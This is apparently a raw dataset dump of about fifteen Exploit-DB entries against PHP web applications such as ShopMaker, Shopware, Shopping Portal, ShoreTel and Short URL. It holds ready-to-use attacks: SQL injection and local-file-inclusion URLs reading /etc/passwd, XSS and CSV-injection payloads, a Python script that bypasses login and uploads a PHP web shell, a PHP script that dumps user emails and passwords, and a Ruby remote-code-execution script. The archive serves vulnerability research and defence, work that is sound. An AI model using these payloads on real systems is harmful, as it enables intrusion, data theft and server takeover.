deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9356
Description: ShopMaker CMS 2.0 - Blind SQL Injection / Local File Inclusion
Type: webapps
Platform: php
Date: 2009-08-04
Author: PLATEN

Exploit:
  Shopmaker CMS (bSQL/LFI) Multiple Remote Vulnerabilities


==============================================================================

Software : Shopmaker Asp 
version  : version 2.0
Vendor   : http://www.shopmaker.dk/
Author   : Platen  * mail: platen.secure[at]gmail.com
web      : Blog = Www.platen.gigfa.com ~ Www.pentesters.IR
Greetings: b3hz4d ~ Cru3l.b0y ~ Cdef3nder ~ Snake and all members in Pentesters.ir
==============================================================================


[LFI]

http://127.1.1.7/mod.php?mod=[LFI]

--------------------------------------------------------------------------

[BLIND SQL INJECTION ]

http://127.0.0.1/mod.php?mod=userpage&menu=130105&page_id=[BLIND]


--------------------------------------------------------------------------

exp:

lfi  ~~~~~~>  http://www.xxx.com/mod.php?mod=../../../../../../../../../../etc/passwd%00
                          
--------------------------------------------------------------------------
exp:

BLND ~~~~~~>  http://www.xxx.com:80/mod.php?mod=userpage&menu=130105&page_id=145'+and+31337-31337=0+--+

# milw0rm.com [2009-08-04]
Exploit-DB #44978
Description: ShopNx - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2018-07-04
Author: L0RD

Exploit:
# Exploit Title: ShopNx - Angular5 Single Page Shopping Cart Application 1 - Arbitrary File Upload
# Date: 2018-07-03
# Exploit Author: L0RD
# Email: borna.nematzadeh123@gmail.com
# Vendor Homepage: http://codenx.com/
# Version: 1
# CVE: CVE-2018-12519
# Tested on: Win 10
===================================================
# Description :
ShopNx 1 is an Angular 5 single page application which suffers from
arbitrary file upload vulnerability .
Attacker can upload malicious files on server because
the application fails to sufficiently sanitize user-supplied input.

# POC :
1) Login as a regular user and navigate to "edit profile"
2) Click on "Avatar" and upload your HTML file which contains malicious javascript code.
3) You can find your uploaded file here :
   Path : http://shop.codenx.com/uploads/[Your File]


# Request :
=========================
POST /api/media HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://site.com/account/edit-profile
Content-Length: 367
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED]4582
Connection: keep-alive

----------------------------[PII_REDACTED]4582
Content-Disposition: form-data; name="file"; filename="file.html"
Content-Type: text/html

<html>
<head>
<title>TEST</title>
</head>
<body>
    <script>
        console.log(document.cookie);
    </script>
</body>
</html>
----------------------------[PII_REDACTED]4582--

====================================================
Exploit-DB #13930
Description: Shopping Cart Script with Affiliate Program - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-18
Author: L0rd CrusAd3r

Exploit:
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Shopping Cart Script with Affiliate Program SQL Injection
Vendor url:http://www.yourfreeworld.com
Version:n/a
Price:399$
Published: 2010-06-19
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to
all ICW members.
Spl Greetz to:inj3ct0r.com Team, Andhra hackers.com

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Description:

Whether you want to sell digital or physical products, this fully featured
shopping cart script is the perfect solution for managing your business.
With a simple, straightforward administration area, you can add as many
categories and products as you wish, view pending order, past orders, and
email customers. But even better, you can attract affiliates to promote your
online store, and make either a percentage commission or flat rate
commission per sale down to 3 levels as preferred. Emailing affiliates is as
simple as clicking a few buttons, and typing in your message. This quality
script includes built-in product search capability to enable your customers
to find exactly what they're looking for quick smart, and shows featured
products with associated images. You can even offer up to 5 merchant
programs for the convenience of your shoppers. Truly a jam packed script
with many attractive features that you should check out today!

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQLi Vulnerability

DEMO URL :

http://server/shopcart/index.php?c=[sql]

# 0day n0 m0re #
# L0rd CrusAd3r #
Exploit-DB #41833
Description: Shopping Cart Template - 'item' SQL Injection
Type: webapps
Platform: php
Date: 2017-04-07
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Shopping Cart Template v1.0 for ASPRunnerPro/PHPRunner. - SQL Injection
# Google Dork: N/A
# Date: 07.04.2017
# Vendor Homepage: https://xlinesoft.com/
# Software: https://xlinesoft.com/templates/shoppingcart/index.htm
# Demo: https://xlinesoft.com/livedemo/shopcart/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/client/shopinventory_list.php?item=[SQL]
# # # # #
Exploit-DB #47834
Description: Shopping Portal ProVersion 3.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-01-01
Author: Metin Yunus Kandemir

Exploit:
# Exploit Title: Shopping Portal ProVersion 3.0 - Authentication Bypass
# Exploit Author: Metin Yunus Kandemir (kandemir)
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/shopping-portal-free-download/
# Version: v4.0
# Category: Webapps
# Tested on: Xampp for Windows

# Description:
# Password and username parameters have sql injection vulnerability on admin panel.
# username: joke' or '1'='1'# , password: joke' or '1'='1'#
# Also, there isn't any restriction for malicious file uploading in the "Insert Product" section.
# This two vulnerabilities occur unauthenticated remote command execution.

#!/usr/bin/python

import requests
import sys
import urllib                          

if (len(sys.argv) !=3) or sys.argv[1] == "-h":
	print "[*] Usage: PoC.py rhost/rpath command"
	print "[*] e.g.: PoC.py 127.0.0.1/shopping ipconfig"
	exit(0) 

rhost = sys.argv[1]

command = sys.argv[2]



url = "http://"+rhost+"/admin/index.php"
data = {"username": "joke' or '1'='1'#", "password": "joke' or '1'='1'#", "submit": ""}

with requests.Session() as session:
	#login

	lg = login = session.post(url, data=data, headers = {"Content-Type": "application/x-www-form-urlencoded"})
	print ("[*] Status code for login: %s"%lg.status_code)
	if lg.status_code != 200:
		print ("One bad day! Check web application path!")
		sys.exit()

	#upload file

	files = {'productimage1': ('command.php', '<?php system($_GET["cmd"]); ?>'), 'productimage2': ('joke.txt', 'joke'), 'productimage3': ('joke.txt', 'joke')}
	fdata = {"category": "3", "subcategory": "8", "productName": "the killing joke", "productCompany": "blah", "productpricebd": "0", "productprice": "0", "productDescription": "blah<br>", "productShippingcharge": "0", "productAvailability": "In Stock", "productimage1": "command.php", "productimage2": "joke.txt", "productimage3": "joke.txt", "submit": ""}
	
	furl = "http://"+rhost+"/admin/insert-product.php"
	fupload = session.post(url=furl, files=files, data=fdata)
	print ("[*] Status code for file uploading: %s"%fupload.status_code)
	
	if fupload.status_code != 200:
		print ("One bad day! File didn't upload.")
		sys.exit()
	dir = 0
	dirr = str(dir)
	
	#find uploaded file

	while True:
		el = eurl = session.get("http://"+rhost+"/admin/productimages/"+dirr+"/command.php")	

		if el.status_code == 200:
			
			print "File Found!"
			print "Put On A Happy Face!\r\n\r\n"

			print ("uploaded file location: http://%s/admin/prductimages/%s/command.php?id=%s"%(rhost,dirr,command))
			break
		else:			
			print "trying to find uploaded file..."

		dir += 1
		dirr = str(dir)

#exec
final=session.get("http://"+rhost+"/admin/productimages/"+dirr+"/command.php?cmd="+command)
print final.text
Exploit-DB #12094
Description: ShopSystem - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-06
Author: Valentin

Exploit:
# Exploit Title: ShopSystem SQL Injection vulnerability
# Date: 05.04.2010
# Author: Valentin
# Category: webapps/0day


:: General information
:: ShopSystem SQL Injection vulnerability
:: by Valentin Hoebel
:: valentin@xenuser.org

:: Product information
:: Name = ShopSystem
:: Vendor = ShopSystems
:: Vendor Website = http://www.shopsystems.biz/
:: About the product = http://www.shopsystems.biz/shopsystem/uebersichtshopsystem/mietshop.php
:: Affected versions = Versions unknown


:: SQL Injection vulnerability
ShopSystems is a German IT company. They offer webdesign, hosting and training services. One of their most famous products is the software ShopSystem. It is an online shop and allows their customers to offer their products online.
Like in other shops it is possible to provide pictures which show the product being offered.
By clicking on the image the view gets enlarged (file: view_image.php) and MySQL injection through the ID parameter is possible.

Vulnerable URL
http://some-cool-domain.tld/shop/view_image.php?id=XX

Exploit vulnerability, e.g. by displaying the current database:
http://some-cool-domain.tld/shop/view_image.php?id=XX+AND+1=2+UNION+SELECT+concat(database()),2,3-

Note: The MySQL output gets displayed within the image URL, so you have to view the source code of the current page in order to retrieve your information.


:: Additional information
:: Vendor notified = 05.04.2010
:: Reply received = 05.04.2010
:: Vulnerability fixed = 06.04.2010, some shops are still affected
:: Advisory published = 06.04.2010
Exploit-DB #19825
Description: Shopware 3.5 - SQL Injection
Type: webapps
Platform: php
Date: 2012-07-14
Author: Kataklysmos

Exploit:
#!/usr/bin/php
<?php

#  Exploit Title: Shopware 3.5 - SQL Injection
#  Date: 13.07.2012
#  Exploit Author: Kataklysmos
#  Software Link: http://www.shopware.de/
#  Version: 3.5


function http_req($host, $q)
{
  if(!$fs = fsockopen($host, 80))
    exit("Could not open HTTP- Connection to ".$host."\r\n\r\n");
  
  $head  = "GET /recommendation/bought/article/".urlencode("0 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (".$q.") FROM `information_schema`.`tables` LIMIT 0,1), FLOOR(RAND(0)*2)) x FROM `information_schema`.`tables` GROUP BY x) z)")." HTTP/1.1\r\n";
  $head .= "Host: ".$host."\r\n";
  $head .= "Connection: Close\r\n\r\n";
  
  fwrite($fs, $head);
  
  $ret = '';
  while(!feof($fs))
    $ret .= fgets($fs, 4096);
  fclose($fs);
  
  return $ret;
}

function mask($cont)
{
  if(preg_match('/Duplicate entry \'(.*)1\' for/', $cont, $m))
    return $m[1];
  else
    return false;
}

function space($x)
{
  $r = '';
  for($i = 0; $i < $x; $i++)
    $r .= ' ';
  return $r;
}

echo "\r\nExploit Title: Shopware 3.5 - SQL Injection\r\n";
echo "Date: 13.07.2012\r\n";
echo "Exploit Author: Kataklysmos\r\n";
echo "Software Link: http://www.shopware.de/\r\n";
echo "Version: 3.5\r\n\r\n";

if(!isset($argv[2]))
{
  echo "  Usage: \r\n";
  echo "  ".$argv[0]." HOST --auto\r\n";
  echo "  ".$argv[0]." www.shopwaredemo.de --auto\r\n\r\n";
  echo "  ".$argv[0]." HOST QUERY\r\n";
  echo "  ".$argv[0]." www.shopwaredemo.de \"SELECT COUNT(`id`) FROM `s_user`\"\r\n";
  echo "  ".$argv[0]." www.shopwaredemo.de \"SELECT `email` FROM `s_user` LIMIT 0,1\"\r\n\r\n";
  exit(1);
}

if($argv[2] != '--auto')
{
  $x = http_req($argv[1], $argv[2]);

  if(!$x = mask($x))
    exit("Your query failed!\r\n\r\n");

  echo "Query:\r\n  ".$argv[2]."\r\nReturn:\r\n  ".$x."\r\n\r\n";
}
else
{
  $task = array(array('Amount of registered users', 'SELECT COUNT(`id`) FROM `s_user`', null),
                array('E- Mail from first user', 'SELECT `email` FROM `s_user` ORDER BY `id` LIMIT 0,1', null),
                array('Password from first user', 'SELECT `password` FROM `s_user` LIMIT 0,1', null),
                array('Amount of orders', 'SELECT COUNT(`id`) FROM `s_order`', null)
                );
  
  for($i = 0; $i < count($task); $i++)
  {
    echo "[ .. ] Task: \"".$task[$i][0]."\"";
    
    $x = http_req($argv[1], $task[$i][1]);
    if(!$x = mask($x))
      echo "\r[fail] Task: \"".$task[$i][0]."\"\r\n";
    else
    {
      echo "\r[ ok ] Task: \"".$task[$i][0]."\"\r\n";
      $task[$i][2] = $x;
    }
  }
  echo "\r\n";
  
  for($i = 0; $i < count($task); $i++)
    echo $task[$i][0].space(26-strlen($task[$i][0])).' : '.$task[$i][2]."\r\n";
  
  echo "\r\n";
}

?>
Exploit-DB #27613
Description: ShopWeezle 2.0 - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-04-10
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17441/info
 
ShopWeezle is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/index.php?x=0&itemgr=1[SQL]
http://www.example.com/index.php?caller=xlink&url=brand.php&brandID=1[SQL]
http://www.example.com/index.php?x=0&caller=xlink&url=gallery.php&album=1[SQL]
Exploit-DB #27612
Description: ShopWeezle 2.0 - 'login.php?itemID' SQL Injection
Type: webapps
Platform: php
Date: 2006-04-10
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17441/info

ShopWeezle is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/login.php?caller=xlink&url=detail.php&itemID=1[SQL]
Exploit-DB #27614
Description: ShopWeezle 2.0 - 'memo.php?itemID' SQL Injection
Type: webapps
Platform: php
Date: 2006-04-10
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17441/info
  
ShopWeezle is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/memo.php?itemID=1[SQL]
Exploit-DB #44534
Description: Shopy Point of Sale 1.0 - CSV Injection
Type: webapps
Platform: php
Date: 2018-04-25
Author: 8bitsec

Exploit:
# Exploit Title: Shopy Point of Sale v1.0 - CSV Injection
# Date: 2018-04-23
# Exploit Author: 8bitsec
# CVE: CVE-2018-10258
# Vendor Homepage: https://codecanyon.net/
# Software Link: https://codecanyon.net/item/shopy-point-of-sales/21730225
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.13]

Release Date:
=============
2018-04-23

Product & Service Introduction:
===============================
Point of sale for retail stores

Technical Details & Description:
================================

A user is able to inject a command that will be included in the exported CSV file.

Proof of Concept (PoC):
=======================

1. Login with Sales user's credentials
2. Browse to Trader > Customer > New Customer and add =cmd|'/C calc'!A1 into the Customer Name field
3. Log in with admin's credentials
4. Browse to Sales > Create Invoice to create an invoice for that user
5. Browse to All Invoice > Export to download and open the exported CSV file

==================
Exploit-DB #34011
Description: Shopzilla Affiliate Script PHP - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-05-19
Author: Andrea Bocchetti

Exploit:
source: https://www.securityfocus.com/bid/40246/info

Shopzilla Affiliate Script PHP is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/search.php?s=%3Cscript%3Ealert(/XSS/)%3C/script%3E
Exploit-DB #46174
Description: ShoreTel / Mitel Connect ONSITE 19.49.5200.0 - Remote Code Execution
Type: webapps
Platform: php
Date: 2019-01-16
Author: twosevenzero

Exploit:
# Exploit Title: ShoreTel / Mitel Connect ONSITE ST14.2 Remote Code Execution
# Google Dork: +"Public" +"My Conferences" +"Personal Library" +"My Profile" +19.49.5200.0
# Date: 01-01-2019
# Exploit Author: twosevenzero
# Vendor Homepage: https://www.mitel.com/
# Version: 19.49.5200.0 (and very likely many others prior and after)
# CVE : CVE-2018-5782 ( https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5782)

Description
===========
There are multiple vulnerabilities in ShoreTel/Mitel Connect ONSITE ST 14.2
which, when chained together, result in remote code execution in the
context of the running service. The vendor was contacted by Jared McLaren
of SecureWorks in early 2018 but a proof of concept was not released. I had
access to a single device during the development of this exploit. As such,
your system paths may be different and you may need to edit this script to
fit your needs.

Solution
========
The vendor has released a response stating that the newest versions are not
affected. Please see their response for upgrade instructions.

https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-18-0004

#!/usr/bin/env ruby

require "base64"
require "methadone"
require "faraday"

include Methadone::Main
include Methadone::CLILogging

main do |base_url,command|

  cmd_b64 = Base64.strict_encode64(command.strip)

  conn = Faraday.new(:url => base_url.strip)
  res = conn.get do |req|
    req.url "/scripts/vsethost.php", 
      {
        :hostId => "system",
        :keyCode => "base64_decode",
        :meetingType => "{${gKeyCode}($gSessionDir)}",
        :sessionDir => cmd_b64,
        :swfServer => "{${gHostID}($gMeetingType)}",
        :server => "exec",
        :dir => "/usr/share/apache2/htdocs/wc2_deploy/scripts/"
      }
  end

  rce = conn.get do |req|
    req.url "/scripts/vmhost.php"
  end

  print rce.body.to_s
end

version       "0.1.0"
description   "Shoretel/Mitel Connect Onsite ST 14.2 Remote Code Execution PoC"

arg :base_url, "URL of vulnerable Connect Onsite ST 14.2 Installation."
arg :command, "Command to run."

go!
Exploit-DB #49026
Description: ShoreTel Conferencing 19.46.1802.0 - Reflected Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-11-10
Author: Joe Helle

Exploit:
# Exploit Title: ShoreTel Conferencing 19.46.1802.0 - Reflected Cross-Site Scripting
# Date: 11/8/2020
# Exploit Author: Joe Helle
# Vendor Homepage: https://www.mitel.com/articles/what-happened-shoretel-products
# Version: 19.46.1802.0
# Tested on: Linux
# CVE: 2020-28351

PoC:

The conferencing component on Mitel ShoreTel 19.46.1802.0 devices could
allow an unauthenticated attacker to conduct a reflected cross-site
scripting attack (XSS) via the PATH_INFO to index.php, due to insufficient
validation for the time_zone object in the HOME_MEETING& page.

Vulnerable payload
/index.php/%22%20onmouseover=alert(document.domain)%20?page=HOME

Vulnerability is in the HOME_MEETINGS& page, where a time_zone dropdown
object is located. Upon executing the payload, the exploit executes when
the mouse is rolled over the dropdown menu object.

https://github.com/dievus/CVE-2020-28351
Exploit-DB #46666
Description: ShoreTel Connect ONSITE < 19.49.1500.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2019-04-08
Author: Ramikan

Exploit:
# Exploit Title: Shoretel Connect Multiple Vulnerability
# Google Dork: inurl:/signin.php?ret=
# Date: 14/06/2017
# Author: Ramikan
# Vendor Homepage: https://www.shoretel.com/
# Software Link: https://www.shoretel.com/resource-center/shoretel-connect-onsite-overview
# Version: Tested on 18.62.2000.0, 19.45.5101.0, 19.47.9000.0, 19.48.8400.0 can be affected on other versions.
# Tested on: Mozila Firefox 53.0.3 (32 bit) Browser
# CVE :CVE-2019-9591, CVE-2019-9592, CVE-2019-9593
# Category:Web Apps


Vulnerability: Reflected XSS and Session Fixation
Vendor Web site: http://support.shoretel.com
Version tested:18.62.2000.0, Version 19.45.1602.0, 19.45.5101.0, 19.47.9000.0, 19.48.8400.0
Google dork: inurl:/signin.php?ret=
Solution: Update to 19.49.1500.0



Vulnerability 1:Refelected XSS & Form Action Hijacking

Affected URL:

/signin.php?ret=http%3A%2F%2Fdomainname.com%2F%3Fpage%3DACCOUNT&&brand=4429769&brandUrl=https://domainname.com/site/l8o5g--><script>alert(1)</script>y0gpy&page=ACCOUNT

Affected Parameter: brandUrl


Vulnerability 2: Reflected XSS

Affected URL:

/index.php/" onmouseover%3dalert(document.cookie) style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b

Affected Parameter: url
Affected Version 19.45.1602.0


Vulnerability 3: Reflected XSS

/site/?page=jtqv8"><script>alert(1)</script>bi14e

Affected Parameter: page
Affected Version:18.82.2000.0

GET /site/?page=jtqv8"><script>alert(1)</script>bi14e HTTP/1.1
Host: hostnamem
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://bdrsconference.bdrs.com/signin.php
Cookie: PHPSESSID=2229e3450f16fcfb2531e2b9d01b9fec; chkcookie=[PII_REDACTED]05
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Vulnerability 4: Session Hijacking

By exploiting the above XSS vulnerability, the attacker can obtain the valid session cookies of a authenticated user and hijack the session.

PHPSESSID, chkcookie both cookies are insecure.
Exploit-DB #11775
Description: Short URL 1.01 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-03-16
Author: Pouya Daneshmand

Exploit:
#################################################################
# Securitylab.ir
#################################################################
# Application Info:
# Name: Short URL
# Version: 1.01
# Vendor: http://www.phpkobo.com/short_url.php
#################################################################
# Vulnerability Info:
# Type: Local File Inclusion
# Risk: Medium
#################################################################
Vulnerability:
http://site.com/staff/app/common.inc.php?LANG_CODE=../../../../../../../etc/passwd%00
#################################################################
# Discoverd By: Pouya Daneshmand
# Website: http://securitylab.ir
# Contacts: info[at]securitylab.ir & whh_iran[at]yahoo.com
###################################################################